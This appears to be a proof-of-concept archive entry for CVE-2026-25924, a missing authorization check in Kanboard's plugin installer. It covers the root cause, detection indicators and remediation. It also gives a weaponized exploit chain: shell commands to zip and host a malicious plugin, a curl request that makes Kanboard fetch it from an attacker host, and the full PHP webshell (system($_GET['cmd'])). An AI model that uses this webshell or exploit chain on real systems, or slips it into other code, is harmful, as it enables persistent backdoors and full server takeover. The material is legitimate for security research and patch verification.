PoC Archive PoC Archive
High CVE-2026-25924 / GHSA-grch-p7vf-vc4f patched

Kanboard — Missing Access Control on Plugin Installation Leads to Administrative RCE via Webshell Plugin (CVE-2026-25924)

by drkim-dev · 2026-07-05

CVSS 8.4/10
Severity
High
CVE
CVE-2026-25924 / GHSA-grch-p7vf-vc4f
Category
web
Affected product
Kanboard (project management application)
Affected versions
<= 1.2.49 (patched in 1.2.50)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcherdrkim-dev
CVE / AdvisoryCVE-2026-25924 / GHSA-grch-p7vf-vc4f
Categoryweb
SeverityHigh
CVSS Score8.4 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagskanboard, rce, webshell, plugin-installation, incorrect-authorization, cwe-863, cwe-94, admin-bypass, backdoor
RelatedN/A

Affected Target

FieldValue
Software / SystemKanboard (project management application)
Versions Affected<= 1.2.49 (patched in 1.2.50)
Language / PlatformPHP
Authentication RequiredYes (authenticated administrator account)
Network Access RequiredYes

Summary

Kanboard defines a PLUGIN_INSTALLER security constant (default disabled) that is meant to prevent installing plugins from remote URLs. The UI correctly hides the plugin-install controls when this constant is off, using Installer::isConfigured() checks in PluginController::show()/directory(). However, the actual backend PluginController::install() action only validates the CSRF token and never checks Installer::isConfigured() before calling Installer::install($pluginArchiveUrl). An authenticated administrator (or anyone who can obtain a valid CSRF token, e.g. via CSRF/XSS against an admin) can therefore call the install endpoint directly with an archive_url pointing at an attacker-hosted ZIP, causing Kanboard to download and auto-load a malicious plugin — bypassing the intended host-level restriction entirely. The included PoC plugin (Plugin.php) is a literal PHP webshell (system($_GET['cmd'])) that Kanboard’s plugin loader executes on every request once installed, giving the attacker direct OS command execution.


Vulnerability Details

Root Cause

PluginController::install() in app/Controller/PluginController.php checks only the CSRF token, omitting the Installer::isConfigured() (i.e., PLUGIN_INSTALLER constant) check that gates the equivalent UI-facing actions, so the server-side restriction against remote plugin installation can be bypassed by calling the endpoint directly.

Attack Vector

  1. Attacker creates a malicious Kanboard plugin (Exploit/Plugin.php) whose initialize() method runs system($_GET['cmd']) when the request contains a cmd GET parameter — i.e., a webshell.
  2. Attacker zips the plugin folder and hosts it on an attacker-controlled HTTP server (e.g., python3 -m http.server 80).
  3. Attacker (as an authenticated administrator, or via a CSRF-tricked admin) requests ?controller=PluginController&action=install&archive_url=http://<attacker>/exploit.zip&csrf_token=<token>. Kanboard downloads and installs the plugin without checking PLUGIN_INSTALLER.
  4. Kanboard’s Plugin\Loader automatically loads the installed plugin on subsequent requests, so any request carrying ?...&cmd=<command> (e.g., against DashboardController) triggers system() execution of the attacker’s OS command.

Impact

Full remote code execution on the Kanboard host via a persistent webshell backdoor: arbitrary file read/write, database access, and lateral movement, once an administrator-level install() call succeeds. This entry’s PoC file (Plugin.php) is intentionally a live, unauthenticated-post-install webshell — treat any copy of this file found on a live system as an active backdoor, not just documentation.


Environment / Lab Setup

Target:   Kanboard <= 1.2.49
Attacker: zip, python3 (for hosting the malicious plugin archive), any HTTP client/browser

Proof of Concept

PoC Script

See Plugin.php in this folder — the malicious plugin payload (webshell) to be zipped and installed via the vulnerable endpoint.

1
2
3
4
5
6
7
mkdir -p Exploit && cp Plugin.php Exploit/
zip -r exploit.zip Exploit/
python3 -m http.server 80

curl "http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]"

curl "http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id"

Installing Plugin.php as a Kanboard plugin causes its initialize() hook to register a webshell listener; any subsequent request to any Kanboard controller carrying a cmd GET parameter executes that command via system() and returns/logs the output.


Detection & Indicators of Compromise

Signs of compromise:

  • Unrecognized plugin directories under Kanboard’s plugins/ folder (e.g., an Exploit plugin) containing system()/exec()/shell_exec() calls
  • Outbound HTTP requests from the Kanboard server to unfamiliar external hosts (fetching the plugin archive)
  • Requests to any Kanboard endpoint with an unexpected cmd= query parameter followed by OS command output in the response

Remediation

ActionDetail
Primary fixUpgrade to Kanboard 1.2.50 or later, which enforces Installer::isConfigured() in PluginController::install()/update()
Interim mitigationEnsure PLUGIN_INSTALLER remains disabled and unreachable, audit the plugins/ directory for unrecognized plugins, and restrict/monitor admin CSRF token exposure

References


Notes

Mirrored from https://github.com/drkim-dev/CVE-2026-25924 on 2026-07-05. The Plugin.php file in this folder is an intentional, literal PHP webshell (system($_GET['cmd'])) included as a genuine PoC artifact demonstrating the vulnerability’s real-world impact — it is not sanitized or neutered, and should be handled as live backdoor code (do not deploy outside an isolated/authorized test environment).

Plugin.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}